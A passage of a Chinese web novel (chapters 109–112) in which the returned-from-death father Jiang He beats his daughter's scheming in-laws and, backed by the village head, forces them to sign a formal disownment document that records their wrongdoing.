所以,必定是她这个婆婆,为了把她们母子锁死在柳树村,刻意隐瞒了下河村那边送来的报丧消息。
若婆婆说的都是真的,那岂不是意味着她爹真的已经过世了,而门外站着的那个“爹”……莫不成是什么脏东西?
否则的话,该怎么解释以前对她极不待见的亲爹,现在却一反常态的突然对她这么好,不但亲自过来探望她,还带来了那么多的好东西?
想到这些,江槐的脸色瞬间惨白如纸,身体晃了晃,几乎要瘫软下去。
她死死抓住炕沿,指甲掐进了粗糙的木缝里,目光惊骇欲绝地看向门外那道高大却突然变得无比陌生的背影。
难道……这个对她和颜悦色,给她带来了救命粮食,甚至还为了她挺身而出的“爹”,竟真的是……是鬼?
就是因为她没有回去守孝送终,爹的鬼魂便直接寻上门来报复她这个不孝女来了……
一时间,巨大的恐惧如同冰冷的潮水,瞬间淹没了她刚刚生出的那一点点暖意和希望。
江河耳聪目明,自然也听到了江槐在屋内的惊呼声,感受到了这丫头意外且惊惧的强烈情绪波动,他的心中瞬间明了。
定是眼前这个赵老太不当人,刻意对江槐隐瞒了江家派人过来报丧的讯息。
这才使得江槐根本就不知自己亲爹去世的消息,自然也就没有及时赶回娘家奔丧。
如此一来,之前的一切就都能说得通了。
不是江槐这个大女儿不孝顺,连亲爹**都不知回去奔丧守孝。
而是她的婆家为了吃绝户,为了谋害他们一家人的性命,刻意隐瞒了消息,不让江槐有机会离开柳树村。
这也就不奇怪,为何刚刚江槐看到他们父子到来,看到她这个本应该已经死去的亲爹又出现在了眼前,却并没有太多恐惧、害怕的神色。
“**,你先回屋,跟你大姐解释一下老子的情况,别让她胡思乱想,自己吓唬自己!”
江河回头冲**吩咐了一句。
他知道,古代**多都迷信,深信鬼怪、邪祟之类的说辞。
江槐这丫头乍然间得知他的死讯,又看到他这般活生生的站在眼前,且脾气秉性都跟以前完全不同,难免会胡思乱想。
“爹,他们这么多人,你一个人行吗?”
“要不,我还是留下来吧,大姐那边等晚一会儿再解释也不迟。”
**没有第一时间回屋,而是有些担心的小声向江河询问道。
“放心,对付这群土鸡瓦狗,你爹我一个人就够了。”
江河给了儿子一个安心的眼神,抬手轻拍了拍他的肩膀,催促道:
“快进去,跟你大姐好好说清楚,别让她吓坏了。”
原本还想要趁机会给**好好上一课呢,现在看来,还是安抚大女儿的情绪更重要一些。
“那……爹你小心些,我跟大姐说清楚了,马上就回来!”
**依言转身,快步回到了身后的房间里。
而江河,目光再次变得
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极为冰冷的扫向赵老太,还有站在院门前的这些赵家人。
他不再跟这些狗东西多说半句废话,直接冲上前去,伸手就打,抬脚就踹。
在以一对二十几人的情况下,只用了不到五分钟,就将所有站着的赵家人全都给打得趴在地上不敢起来。
尤其是赵老太和她的三个儿子,江河更是重点关照,一个个的脸全都肿成了猪头,牙齿都掉了好几颗。
一时间,江诚家的院门前,哀嚎声、哭骂声一片,热闹非凡。
谁也没有想到,这个突然出现在赵诚家里的野汉子,竟然会这么厉害。
一个人打他们二十几个,特么就跟玩儿的一样!
更凶残的是,这个混蛋还没有任何底线,竟然连老人与女人都不放过。
看看他把赵老太还有赵家的那两个儿媳妇,全都给打得破了相了都!
“住手!”
就在江河想要继续扇赵富、赵贵和赵旺这三兄弟,把他们的狗腿也全都给打断的时候,柳树村的里正兼赵氏族长的赵春耕,终于领着一群村民从远处赶了过来。
隔着老远,赵春耕就高声厉喝,想要制止江河继续行凶。
只是江河哪里会听他的,在赵春耕等人赶到之前,就抬脚对着赵富、赵贵、赵旺三兄弟的右腿直接踩下。
只听“咔嚓!”、“咔嚓!”、“咔嚓!”三声脆响,赵氏兄弟三人的右腿几乎同时**河踩断。
啊~!
三道犹如杀猪一般的嚎叫声瞬时响彻云霄,听得在场众人皆是一个激灵,后脊直发凉。
这特娘的也太狠了,竟然生生的把赵氏三兄弟的腿都给打断了!
这明显是想要让他们跟赵诚一样,全都变成瘸子和瘫子啊!
“江河!你给老子住手!”
“你特么究竟想要干什么?!”
“敢在我们柳树村打架斗殴、肆意行凶,真当我们柳树村没人了吗?!”
赵春耕见状,忍不住怒火中烧。
他快步走到院门前,看到赵老太一家人的凄惨状况,不由指着江河的鼻子破口大骂了起来。
跟在赵春耕身后的村民,看到自家庄子上的人吃了这么大的亏,也一个个的义愤填膺,挥动着手中的棍棒和锄头,想要一拥而上,给这个外村人一个深刻的教训。
江河夷然不惧的站在原地,昂首挺胸的直视着赵春耕和一众村民,朗声道:
“赵里正,赵族长!你既然认识我江某人,就应该知道我与赵诚还有这赵家人之间的关系。”
“作为江槐的娘家爹,赵诚的老岳丈,我现在为我女儿和女婿出头,教训一下想要欺负他们,吃他们家绝户的败类兄弟和恶毒亲戚,有错吗?”
第109章 我去他奶奶个腿儿
江河最后的一句“有错吗?!”,声音如同金石交击,铿锵有力,瞬时便将院门前的所有人全都给震慑在了当场。
得知此人竟是赵诚的老岳丈,是赵诚媳妇儿的娘家爹。
刚刚还群情激奋,恨不得冲上来给江河一棒子的众多村民,全都神色尴尬的悄悄收起了手中的“武器”,不愿意再跟着往前凑。
如果真是外乡人来他们庄子上欺负他们自己人,他们团结起来将这些外乡人暴揍一顿,然后直接赶出柳树村,绝对没毛病。
可是现在,这个打了赵老太还有赵富、赵贵他们一家的人,竟然自称是老赵家的亲家公。
这就完全属于他们老赵家自己的家事了,不存在什么外乡人欺负本村人的问题。
娘家人来闺女的婆家给自家的女儿撑腰、讨公道,这本就是天经地义的事情,在他们乡底下那是再正常不过。
更何况,这段时间发生在赵诚家的事情,村里人哪个不知晓?
赵老太和赵富、赵贵、赵旺三兄弟打的是什么主意,村里人谁没有看出来?
这事儿老赵家本来就做得不地道,甚至还缺德带冒烟儿,哪怕是同村的人很多都看不过眼,还悄悄的接济过赵诚家里的。
现在他们家被儿媳妇的娘家人找上门来算账讨公道,甚至还被人娘家爹给打得满地找牙,着实是活该。
只是让所有村民都没想到的是,江槐的这个娘家爹竟然这么厉害。
一个人就把老赵家的这二十几口人全都给揍趴下了。
其中赵富、赵贵与赵旺三兄弟,更是直接被打断了一条腿,凶残得一批!
“赵里正,你来得正好!”
“你就算是不来,一会儿我也会让江槐去把你给请过来!”
江河挺身踏前一步,神色阴郁的直视着赵春耕,高声道:
“你是这柳树村的里正,同时也是赵氏的族长,以前跟我江河也打过一些交道,当知道我江河是个什么样的人!”
“不管是在下河村还是在别的地方,从来都只有我江河欺负别人的份儿,何曾有人敢骑在我江河的脖子上作威作福?”
“而现在……”
说着,江河突然抬手指着地上哀嚎打滚的赵家三兄弟和捂着脸哭嚎的赵老太等人,高声向赵春耕质问道:
“这些混蛋玩意儿,这段时间都对我女儿我女婿做了什么?!”
江河的声音陡然拔高,带着压抑不住的愤怒和痛心,高声指责道:
“我女婿赵诚,为了一家老小的生计,上山打猎摔断了腿,重伤卧床,高烧不退。”
“家里都已经断粮了好几天,三个孩子饿得皮包骨头,最小的那个甚至连哭的力气都快没了!”
“而我这个亲家母,我女婿的亲娘,还有他的同胞兄弟都做了什么?!”
“他们不仅没送过一粒米,没请过一个郎中,反而还趁着赵诚伤重将死,三番五次上门逼迫!”
“刚刚更是当着老子的面,口口声声说要‘接’走老子那两个年幼的外孙女去‘享福’!”
“我去他奶奶个腿儿的享福!”
“真当老子不知道,他们就是想卖了老子的两个外孙女去换钱换粮!想逼死老子的女儿女婿,强占他们这仅有的破屋与薄田!”
“他们这是在明目张胆地吃绝户,而且吃的还是自己亲儿子、亲兄弟的绝户!”
“赵里正,赵族长!现在我只问你一句,他们老赵家这么欺负我闺女我女婿的事情,你这个柳树村的里正兼族长,到底知不知情?”
赵春耕直接**河给问得有些哑口无言。
作为柳树村的里正,同时也是赵氏一族的族长,他怎么可能会不知道赵诚家里发生了什么事情。
事实上,他也觉得赵老太一家做事太不地道,也觉得赵诚、江槐两口子太过可怜。
只是,吃绝户这种事情在乡下是再正常不过的事。
赵诚他自家的亲娘与亲兄弟都不帮他,甚至还带头吃他们家的绝户,他就算是里正是族长,也不好多说什么。
再怎么说,这也都只是他们老赵家自己的家事,他赵春耕实在是犯不上为了一个将死之人出头。
“此事……老夫之前并不知情,也是刚刚才听说……”
赵春耕有些尴尬的开口为自己开脱,他回头看了一眼身后的村民,道:
“这不,老夫一听说赵富、赵贵他们来村西找赵诚家的麻烦,就立刻带人过来了,只是不想正好碰到你也在……”
江河闻言,心中冷笑,哪里会不知道这只是对方的推托之词罢了。
不过,他本来也没指望赵春耕能主持什么公道。
今天这一出,主要就是立威,让柳树村的人知道他女儿江槐并不是没娘家人撑腰。
而且,他也不想把赵春耕这个地头蛇得罪**。
女儿一家以后还要在柳树村生活,真得罪了这位掌握着村里实际权力和宗族话语权的里正兼族长,日后难免会被穿小鞋,麻烦不断。
他需要立威,但也要懂得分寸。
“原来赵里正并不知情啊……”
江河的脸上看不出喜怒,不过语气却稍稍的和缓了下来:
“若是如此的话,那就不奇怪了。我就说嘛,柳树村有赵里正这样德高望重的人坐镇,怎么也不能出现这种吃绝户的腌臜事。”
赵春耕闻言,面上的神色稍松,同时也感觉有些臊得慌。
他知道江河这是在暗讽他,可是他却说不出什么反驳的话来。
毕
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竟江河这样说,还是给他留了足够的脸面和台阶的,若是他再在这个问题上纠缠下去,就显得他不懂事了。
他认识江河,自然知道江河就是一个混不吝的性子。
现在江河没有冲动的直接跟他撕破脸,没有指着他的鼻子破口大骂,本就已经非常出乎他的预料之外了。
“咳咳……”
赵春耕轻咳了两声,开口向江河说道:
“江河兄弟啊,事已至此,这人你也打了,气你也出了,接下来你是想让赵家人赔礼道歉还是如何,不妨拿个章程出来……”
旁边的赵老太见赵春耕竟然对江河这么客气,半点儿也没有偏向他们家的意思,顿时就急了,扯着嗓子尖声嚷嚷道:
“春耕兄弟,你可不能被这个野汉子给骗了啊!”
“他怎么可能会是江槐那个扫把星的娘家爹呢,她爹早在几天前就已经**,江家派来报丧的人还是我老婆子接待的,绝对不会有假!”
“这个人来历不明,肯定就是江槐那个骚蹄子从外面勾来的野汉子!”
“春耕兄弟,还有诸位乡亲,你们可千万别被这个混蛋给骗了啊,他根本就不是江槐的娘家爹,他是个冒牌货!”
“你们都还愣着做什么,快出手打他啊,打死这个该死的外乡人!”
赵老太的话,如同投入平静湖面的巨石,再次激起轩然大波。
院门口刚刚平息下去的议论声再度响起,村民们看向江河的眼神又带上了几分惊疑和审视。
而赵春耕却微微皱起了眉头,极为不满甚至嫌恶的扭头看向赵老太。
村里人消息闭塞,不知前两天发生在下河村内的大事并不奇怪。
但是他这个里正却是会不时往县里走动走动,对于附近各个村庄发生的事情也都有一些了解。
就在昨天,他还听县里的张捕头提起江河这个二赖子。
也是在那时,他才知道江河假死复生之事,知道了江河把他亲爹亲娘亲兄弟全都送进了县大狱的丰功伟绩。
所以刚刚看到江河出现在赵诚家,看到江河对赵老太等**打出手,他就意识到了大事不妙,才会变得那么紧张与激动。
面对这样一个连亲爹亲娘都能大义灭亲送进大狱里的不孝玩意儿,谁心里能不打怵?
赵春耕也是一样,生怕江河会突然发疯,在他们柳树村里搞出人命来。
现在看到赵老太竟然如此不识好歹的跳出来搅局,质疑他的身为里正的眼力与处事能力,赵春耕的心中不由一阵厌恶与不喜。
我特么刚刚跟江河那么客气到底是为了谁?
如果不是你们这些混蛋玩意不当人,连自己亲儿子的绝户都来吃,今天哪里会搞出来这么多破事儿?
第110章 断亲?凭什么啊?!
“大家伙一定要相信我,江槐那个娘家爹真的已经**!”
“眼前这个混蛋,就是江槐那个贱蹄子不知从哪找来的野男人,大家一定要为我们做主啊!”
“你们看看,这个混蛋都把我们家给欺负成什么样子了,我三个儿子的腿都被他给打断了啊!”
“大家一定要帮我们把这个凶徒拿住,老婆子我要送他去见官,要让他蹲大狱……”
“赵张氏!张春枝!你特娘的给老子闭嘴!”
眼见着赵老太还在那里一口一个野男人,一句一个外乡人,鼓动着周围的村民对江河动手,甚至还想要去报官,想要把江河给送入县大狱。
赵春耕简直都要被气笑了,忍不住对着她一声怒喝。
这个蠢货,就算是想要找死也不是这个找法啊!
人家江河昨天才刚刚把自己的亲爹亲娘亲兄弟还有兄弟媳妇,一个不少的全都给送到了县大狱,这说明什么?
这说明人家在县里的关系硬着呢,哪是他们这些平头小老百姓能招惹得起的?
赵老太这个老虔婆还特娘的想要把人家给送进县大狱?
殊不知,她若是再这么蹦哒下去,他们一家老小距离进大狱的日子就不远了!
赵春耕这一声中气十足,如平地惊雷,吓得赵老太一个哆嗦,后面的话硬生生卡在了喉咙里。
她有些惊愕的看向赵春耕,似完全没有想到,赵春耕非但没有相信她的话,没有带人把眼前这个凶徒捉拿暴揍,反而还对她大吼大叫让她闭嘴!
这特娘的是什么道理?
现在吃亏的可是他们赵家人啊!
赵春耕作为赵氏一族的族长,非但不向着他们自己人说话,反而还这般明晃晃的偏向一个外人,这特么的像话吗?
“什么死不死的?!什么野汉子?!”
“赵张氏,你若不想再挨打的话,那张臭嘴最好放干净些!”
赵春耕狠瞪了赵老太一眼,然后抬手指向江河,高声对着在场所有村民及赵家人说道:
“老夫可以做证,他就是江槐的亲爹江河无疑,老夫以前与江河兄弟有过数面之缘,断然不会认错!”
“江河兄弟前些天确实是受了点伤,昏迷了两天,可人家福大命大,早就已经好过来了!”
“他今天过来看望女儿女婿,也是人之常情,是天经地义!倒是你们赵家,做的都是些什么混账事?!”
他不再给赵老太任何狡辩的机会,将江河刚才揭露的赵家恶行,用自己的话又痛斥了一遍:
“趁着赵诚伤重,逼着他们家卖儿卖女,甚至还想要谋夺他们家的房屋、田产!”
“赵张氏,赵富,赵贵,赵旺!赵诚他可是你们的亲儿子、亲兄弟啊,你竟然能对他做出这样卑劣不堪之事,你们还是不是人?!还有没有一点良心?!”
“依我看,江河兄弟出手打了你们,那也是替天行道!是你们自己活该!”
“一群**饭不干人事的狗东西,同为赵家人,老夫都替你们感到丢人,臊得慌!”
赵春耕这番疾言厉色之语,又是亲自为江河作证,又是指着赵家人破口痛骂,直接就给这件事情定了性,同时也彻底将赵家钉在了耻辱柱上。
围观村民再无怀疑,看向赵老太一家的目光只剩下鄙夷和唾弃。
至于江河,则被贴上了“极不好惹”和“特别凶残”的标签,连里正都对人家客客气气的,谁还敢上前触霉头?
有这样一个娘家爹在,以后村里人谁要是还想要再欺负赵诚、江槐一家,可是得好好掂量掂量了。
赵老太见赵春耕说得这般肯定,不像是编的瞎话,心里不由一突。
难道……眼前这个凶悍得不像话的汉子,竟然真的是她那个从未见过面的亲家公?
如果是真的,那他们家岂不是就摊上大事儿了?
赵老太之前虽然从没见过江河,但是对于江河的名声还是多有耳闻的。
那就是一个做事没有任何底线的二流子,臭流氓。
附近十里八乡的,谁不知道下河村出了这样一个坏得流油的狗东西?
现在,他们一家人把江河这个臭流氓的亲生女儿给逼成了这个样子,江河能轻易放过他们才是怪事!
赵富、赵贵、赵旺三兄弟也停止了无意义的哀嚎,眼神中充满了不敢置信的绝望神色。
他们虽然也不是什么好东西,但是比起江河这样有名的地痞、二流子来,根本就是小巫见大巫,完全不值一提。
之前他们就是听说江河已经**,心中再没了顾忌,这才敢这么明目张胆的欺负江槐与赵诚两口子,才敢吃他们绝户,谋他们的房产与田产。
结果,谁特么能想到,一个原本应该已经**的人,现在竟然活了过来,甚至还堂而皇之的出现在了他们眼前呢?
如果此人真是江河,真是江槐那**的娘家爹,那他们今天这顿打算是白挨了。
而且经此一事,他们在柳树村的名声也算是彻底臭了,以后别说欺负别人,能不能在村里抬起头都难说。
更重要的是……江河这个二赖子,会这么轻易的就放过他们吗?
赵春耕骂完,长长吐了口浊气,继而转身看向江河时,脸上已经换上一副赔笑和善的神色,轻声道:
“江河兄弟,你看,事情现在已经弄清楚了,这些混账东西被你教训一顿也是罪有应得,断胳膊断腿什么的,也是他们活该。”
“只是现在,这打也打了,该出的气也出了,此事不如……就此打住如何?”
“你放心,老夫可以向你保证,事后他们老赵家绝对不敢刻意报复江槐、赵诚两口子。”
“
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有我赵春耕在,从今往后,柳树村也绝不会有任何人再敢欺负赵诚一家!老夫说到做到!”
他这是在给江河承诺,也是在求一个结果。
事情闹成这样,必须得尽快平息,不然若是真的见了官,他这个里正也难免会受到牵连。
江河心中明了,知道该见好就收了。
今天为女儿女婿出头的目的已经达到。
甚至还得到了赵春耕这个柳树村实际掌权人的庇佑承诺,里子面子全都有了,再纠缠下去反而落了下乘。
他对着赵春耕拱了拱手,语气也平和了许多:“赵里正深明大义,处事公允,江河佩服。”
“看在赵里正的面子上,今日之事,我可以不再继续追究,但是像赵家这样恶毒卑劣的亲戚,我实在是不敢再要了。”
“我想代我女儿女婿做个主,今日直接跟他们老赵家绝缘断亲,从此之后两家各过各的,再不相干!”
江河此话一出,全场皆惊。
啥玩意儿?
断亲?!
开什么玩笑呢这是!
在这个宗族观念极重、讲究“亲亲相隐”、“打断骨头连着筋”的时代,主动提出与至亲断亲,尤其还是由亲家公代替女儿女婿提出与婆家断亲,这简直是惊世骇俗,闻所未闻!
赵春耕也愣住了,他本以为江河最多要些赔偿,或者让赵家立下字据保证什么的,没想到他竟然直接就要断亲!
这也太绝、太狠了!
这是要彻底斩断赵诚与老宅这些至亲的所有联系,让赵诚和江槐以后只能依靠他江河这个岳父啊!
赵老太更是如遭雷击,猛地抬头,尖声叫道:
“不行!凭什么啊?!”
“赵诚是我儿子!他是我生的!也是我一把屎一把尿拉扯大的!谁敢断我的亲?!老娘不同意?!”
赵富三兄弟也霍然抬起头,极为震惊的看向江河。
虽然他们心里一直都不待见赵诚这个兄弟,甚至连吃赵诚一家绝户的卑劣之事都做得出来。
可是他们却也从来都没想过要与赵诚彻底断绝关系啊。
真要是断了亲,签了断亲文书,以后赵诚一家就跟他们老赵家彻底没了关系。
日后赵诚这个短命鬼一死,他们还有什么理由再去霸占赵诚家的房产和田产?
江河这个狗东西倒是打得一手好算盘。
他现在提出断亲,明显就是想要吃独食,想要独吞了原本属于他们老赵家的财产!
这特么怎么能行?!
“凭什么?”
江河冷哼一声,目光如刀的直视着江老太与赵富、赵贵等几人,厉声言道:
“就凭你们不配为人父母,不配为人兄弟!”
“就凭你们差点逼死赵诚和我女儿,差点卖掉我外孙女!”
“就凭你们丧尽天良,猪狗不如!”
第111章 耍无赖,你赖得过老子吗?
堂屋里。
江槐刚刚听到**说起老爹死而复生之后,当天上午就跟老宅的爷奶断了亲,签订了断亲文书的事情。
她的耳边就传来了江河嚷嚷着要代女儿女婿跟婆家断亲的惊天之语,整个人都呆愣在了当场。
“小泽,当家的,你们听到了没有,我刚刚好像听到爹说要……要让我们一家跟老宅断亲?”
江槐怀疑自己是出现了幻听,连忙开口向身边的**与赵诚询问确认。
赵诚也处在茫然与懵逼之中,不知该怎么回答。
倒是**对于老爹的这般举措并没有觉着太过意外。
毕竟这已经不是他爹第一次做这种事情了,可谓是轻车熟路。
更何况,比起老爹昨天亲手将爷奶和二叔二婶他们全都送去县大狱来,现在只是替大姐大姐夫跟婆家断个亲而已,小意思啦!
“大姐你没听错,爹就是这个意思!”**无比肯定的点头确认,“我也觉得爹这么做没什么不对,就你婆婆他们这样的恶毒亲戚,还是早断早好!”
“这次幸亏是爹和我一起过来了,不然大姐你和孩子们还不得被这家人给欺负死?”
“大姐,一会儿你可千万别心软,趁着我和爹都在,高低得把这个亲给彻底断了!”
“这……能行吗?”
江槐闻言,不禁有些意动,不过还是扭过头来看向自己男人,轻声向赵诚问道:
“当家的,你咋看?那毕竟是你的亲娘和亲兄弟,你要是不想断,我……我就去跟爹说一声,让他别再难为婆婆他们了……”
“断!必须得断!”
赵诚咬着牙,痛苦地闭上了双眼,恨声道:
“他们不把我当亲人当兄弟,还想要逼死我的媳妇和儿女,霸占我的房产和田地,我还有什么舍不得的?!”
“只是……我娘那边,她未必会那么痛快的同意断亲……”
赵诚的态度虽然很坚决,但也点出了问题的关键——这亲,并不是他们单方面想断就能断的。
尤其是在这个宗族礼法森严的年代,父母健在,子女主动断亲,不管成与不成,都会被视为大不孝。
而他们一旦背上不孝的骂名,以后自己被别人指点诟病倒无所谓,赵诚担心的是会影响到他们膝下的三个孩子。
江河似看出了大姐与大姐夫心中的担忧与顾虑,不由适时开口说道:
“大姐、大姐夫,只要你们诚心想要做个了断,剩下的事情只管交给爹去做就是!”
“咱们爹现在跟以前可不一样了,他有的是办法让外面那帮人乖乖的主动跟你们断亲,不会让你们落得一个不孝的名声……”
**的话还没说完,就听到院外传来赵老太的尖声咆哮:
“想要跟老娘断亲!门儿都没有!”
“赵诚是我儿子!他是我生的!也是我一把屎一把尿拉扯大的!谁敢断我们娘俩的亲?!凭什么啊?!”
“反正无论如何,老娘都不同意?!”
江槐与赵诚闻言,面色同时一黯。
果然,老太太并不愿意轻易放过他们。
作为他们的嫡亲长辈,赵老太只要咬着牙不松口,他们就休想名正言顺的与之断绝关系。
“还凭什么?”
江河的冷笑声也随之传来:
“就凭你们不配为人父母,不配为人兄弟!”
“就凭你们差点逼死赵诚和我女儿,差点卖掉我外孙女!”
“就凭你们丧尽天良,猪狗不如!”
“实话告诉你,老子还真就不怕你不愿签这个断亲文书。”
“不断亲了其实更好,以后咱们还是亲家,老子就可以名正言顺的每天来你们柳树村走一趟亲戚,吃你们的喝你们的,不高兴了还能再挨个揍你们一顿……”
江河这番带着无赖和狠戾的话,如同一盆冰水,直接浇在了赵老太的头上,让她激灵灵打了个寒颤,差点儿没有直接背过气去。
每天来一趟?
吃他们的,喝他们的?
不高兴了还要再揍他们一顿?!
这特娘的说的是人话?
想到江河那可怕的武力,想到今天被打断腿的三个儿子,还有她自己已经变成了猪头的这张老脸。
再想到这样的日子他们以后可能每天都会经历一次……
嘶~!
赵老太忍不住又打了一个寒颤,心中的所有坚持与执拗,瞬间崩塌了大半。
这哪里是亲家?
这分明是索命的阎罗啊!
这要是不断亲,不如了对方的意,他们一家人以后还不得被这个混蛋给活活折磨死?
还有他们家的那点儿家当,还不得被他给吃光喝光败坏光了?
“你……你……你这是不讲道理!你这是讹诈!”
赵老太色厉内荏地尖叫,但声音明显带着几分颤抖。
“不讲理?还讹诈?”
江河嗤笑了一声,像看傻叉一样的看着赵老太:
“跟你这样一个想要逼死自己亲儿子、卖孙求财吃绝户的**,还需要讲道理吗?”
“赵张氏,你是不是直到现在都还没搞清楚状况?现在,是你们有错在先,是老子在给你们做选择!”
“要么,今天痛痛快快把断亲文书签了,以后咱们两清,井水不犯河水,老死不相往来!”
“要么,咱们继续做‘亲家’,老子以后隔三差五就来‘走亲戚’,来‘看望’你们这一大家子!”
“到时候,你们若是不好好招待,老子可是会不高兴!老子一不高兴,就会发疯砸东西、痛扁人……”
说着,江河不由抬手挥了挥自己的拳头,目光扫过赵富、赵贵、赵旺三兄弟,以及其他那些赵氏族人,满眼戾气
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的冷声说道:
“你们赵家不是人多吗?不是喜欢抱团欺负人吗?”
“好啊,老子正好每天都闲得手痒痒,有的是时间陪你们玩,看看是你们赵家的人多,还是老子的拳头硬!”
这话说得赤裸裸,威胁意味十足,完全是一副滚刀肉、混不吝的架势。
配合着地上赵家三兄弟凄惨的呻吟,还有老赵家其他十几口人趴在地上不敢起来的惨象,威慑力十足。
赵春耕在一旁听得眉头直皱,但也没出声阻止。
他也觉得,似赵张氏、赵富、赵贵他们这些混账玩意儿,就得江河这种更混蛋的人才能治得了。
当然了,更重要的是,不管赵老太签不签断亲文书,都跟他赵春耕没有什么直接的利害关系,只要不闹出人命,不引来县里的差役,他也懒得多管这些闲事。
听江河这么讲,赵老太彻底慌了。
虽然她早就知道江河是个混不吝,是个不讲道理的二流子,可那也只是听说而已。
现在,当她切实地被这样的二流子给赖上甚至威胁上的时候,她才真正地感到江河的难缠与可怕。
她转头看向赵春耕,希望这位老族长能说句话,为她们家主持公道。
可赵春耕却直接移开了目光,悠然地看向了别处,摆明了是不想管。
她又回头看向自己的三个儿子。
赵富、赵贵、赵旺早就已**河打怕了,现在全都捂着自己的断腿在地上哀嚎,哪里还敢再来招惹这个煞星?
所以,当他们接触到老娘投递过来的求助目光后,全都瑟缩着脖子低下了头。
老四赵旺甚至还小声地开口向赵老太哀求道:
“娘……实在不行咱就签了吧!这个煞星,咱们……实在是惹不起啊……”
打又打不过,赖又赖不赢,讲道理的话也是他们理亏,甚至就连里正都站在对方的那一边。
这让他们还能怎么办?
见几个儿子也变得这么怂,赵老太的眼神不由一暗。
深深的无力感和近在眼前的威胁,终于压倒了她那点儿可怜的、扭曲的“掌控欲”和面子。
赵老太瘫坐在地上,老泪纵横,不断抽泣,仿佛是受了天大的委屈与羞辱一般。
她知道,今天这个亲,不断是不行了。
断了,虽然丢人,但至少能保住剩下的家当和全家人的平安。
不断……后果她不敢想。
“我……我答应了……”赵老太的声音如同破了洞的风箱,干涩而无力,“我跟老三断亲还不行吗……”
她终于屈服了。
对面,江河撇嘴冷笑,眼中没有半分怜悯之色。
对付这种欺软怕硬、毫无良知与道德底线的混账东西,讲道理是没用的。
就得比他们更狠,更混,更卑鄙,才会让他们怕到骨子里去。
第112章 断亲,大女婿的感激
“赵里正,麻烦您老还有在场的诸位乡亲一起做个见证。”
江河不再搭理赵老太一家,转而看向赵春耕,语气比之前客气了许多。
“既然赵张氏已经自愿与我女婿赵诚断亲,还请赵里正帮忙起草一份断亲文书,双方签字画押,分户入籍,此事才算圆满。”
毕竟已经有过一次断亲经验,江河现在对这里面的门道半点也不陌生。
赵春耕听到江河说赵老太是“自愿”断亲这句话时,嘴角有些不受控制的轻抽了抽。
你特么管这叫“自愿”?
丫的是不是对“自愿”这两个字有什么误解?
尽管心中多有非议,不想再生事的赵春耕还是轻点了点头,没再多说什么,示意旁边的人去取来笔墨纸砚。
就在他提笔准备书写之时,就听江河再次开口说道:
“赵里正,书写这断亲文书时,最好把断亲的真正缘由也书写清楚,免得日后会有人拿此事来指责我那女婿、女儿一家不侍双亲,不悌不孝。”
赵春耕眉头微挑,不由回头深看了江河一眼。
似乎没有想到江河的思虑竟然如此缜密,连这样的书写细节和以后可能存在的诸多隐患都能提前想到。
断亲不是儿戏。
尤其是在大宣朝这样以孝治国的当下,与父母兄弟断亲,更是了不得的大事。
若是断亲的缘由没有提前书写清楚,日后有心人只需一句“父母在不远游,更遑论断亲”便能轻易占据道德高地,指责赵诚夫妇不孝。
而赵诚夫妇一旦摊上不孝的恶名,以后不止是在柳树村,就是在整个三河县,都将寸步难行。
可若是在这断亲文书中,将赵家这段时间对赵诚一家的所作所为,白纸黑字的写入文书。
那这“断亲”便成了情非得已、势在必行的“自保”之举,性质则完全不同。
更何况,这还是赵老太“主动”、“自愿”提出的断亲。
主观上非是赵诚夫妇不孝,而是赵老太这个当娘的容不下他们,“主动”将他们一家逐出了赵家老宅,断了这桩亲缘!
“还是江河兄弟考虑得周全,就依江河兄弟之意。”
赵春耕微微点头,重新提笔蘸墨,沉吟少许,直接落笔写道:
“立断亲文书人赵张氏(夫已故),长子赵富,次子赵贵,四子赵旺。三子赵诚,娶妻**……”
赵春耕一边书写,一边口中轻吟诵读,确保在场的每个人都能听到他所书写的相关内容:
“……因赵张氏及其子赵富、赵贵、赵旺等人,于赵诚伤重卧床、家计艰难之际,不思帮扶,反行逼迫,屡次上门欺压滋扰。
甚有变卖其子女,谋夺其家宅、田产之嫌疑。其行径恶劣,有悖人伦,几致赵诚一家于绝境……”
写到这里,赵春耕笔锋稍顿,扭头看向一边站着的江河,见江河微微颔首,并无什么意见,便继续提笔写道:
“……事迹败露,赵张氏、赵富、赵贵、赵旺等人不容赵诚夫妇于门中,主动提出断亲事宜。
赵诚、江槐夫妇,为求自保,护佑儿女周全,万般无奈,情愿与赵张氏、赵富、赵贵、赵旺等人断绝一切亲属关系。
自此之后,双方各立门户,互不干涉,生老病死,各不相干。”
“双方自愿立此文书,按指为凭,各无反悔!”
写罢,赵春耕又在最后添上了见证人的名字及具体日期,然后又当众将文书内容宣读了一遍。
院内外瞬时一片寂静。
在场的诸多乡邻面上神色各异,不约而同地看向赵老太、赵富、赵贵等一众赵氏族人。
里正亲笔所书的这份断亲文书,不仅彻底断了赵诚与赵氏一族的亲属关系,更是将赵家的诸多丑行落成了实质的证据,钉在了这白纸黑字之上。
日后谁若再拿“不孝”来指责赵诚、江槐夫妇,这份断亲文书便是最好的反驳与自辩之物。
江槐的这个娘家爹,果然不是好相与的!
他特意要求里正将赵家的罪过书写进这份断亲文书中,明显是要**诛心啊!
既羞辱赵家这帮黑了心肝的狗东西,也彻底断了他们以后再拿血脉亲情或是孝悌大义,来继续欺压赵诚夫妇的可能。
“江河兄弟,你可还有别的什么建议吗?”
赵春耕拿着刚刚书写完成的断亲文书,抬头看向江河:
“若是没有,那这份断亲文书就算是完成了。”
江河微微点头,同时拱手向赵春耕道:“有劳赵里正了!”
赵春耕了然点头,不再多说什么,挥手示意身边的村民把赵老太搀扶起来,又把断腿的赵富、赵贵、赵旺三兄弟,也分别抬到了近前。
“赵张氏,赵富、赵贵还有赵旺,对于这份断亲文书,你们可还有什么异议?”
赵春耕扬了扬手中的断亲文书,依例也开始征询起了赵家这几个当事人的意见:
“若是有,现在就提出来,否则一旦你们在上面按下了指印,可就再没有反悔的机会了。”
赵老太、赵富、赵贵、赵旺几人闻言,同时身形一颤,没有一人敢开口说话。
刚刚赵春耕在宣读断亲文书上的内容时,他们已经听了个一清二楚。
什么自愿,什么主动,全是特娘的在放臭狗屁。
他们又不傻,怎么可能会主动、自愿的签署这样明显对他们不利的断亲文书?
可是眼下,形势比人强,他们除了同意之外,还有别的选择吗?
于是,在赵春耕的催促和江河冰冷目光的注视下,赵老太颤抖着手,由人扶着,在文书上按下了自己的手印。
赵富、赵贵、赵旺三兄弟,也相继按印。
后面的堂屋里,听到外面动静的江槐与赵诚夫妇,不由激动地相拥在一起,喜极而泣。
他们没有想到,事情竟然会进展得这么顺利。
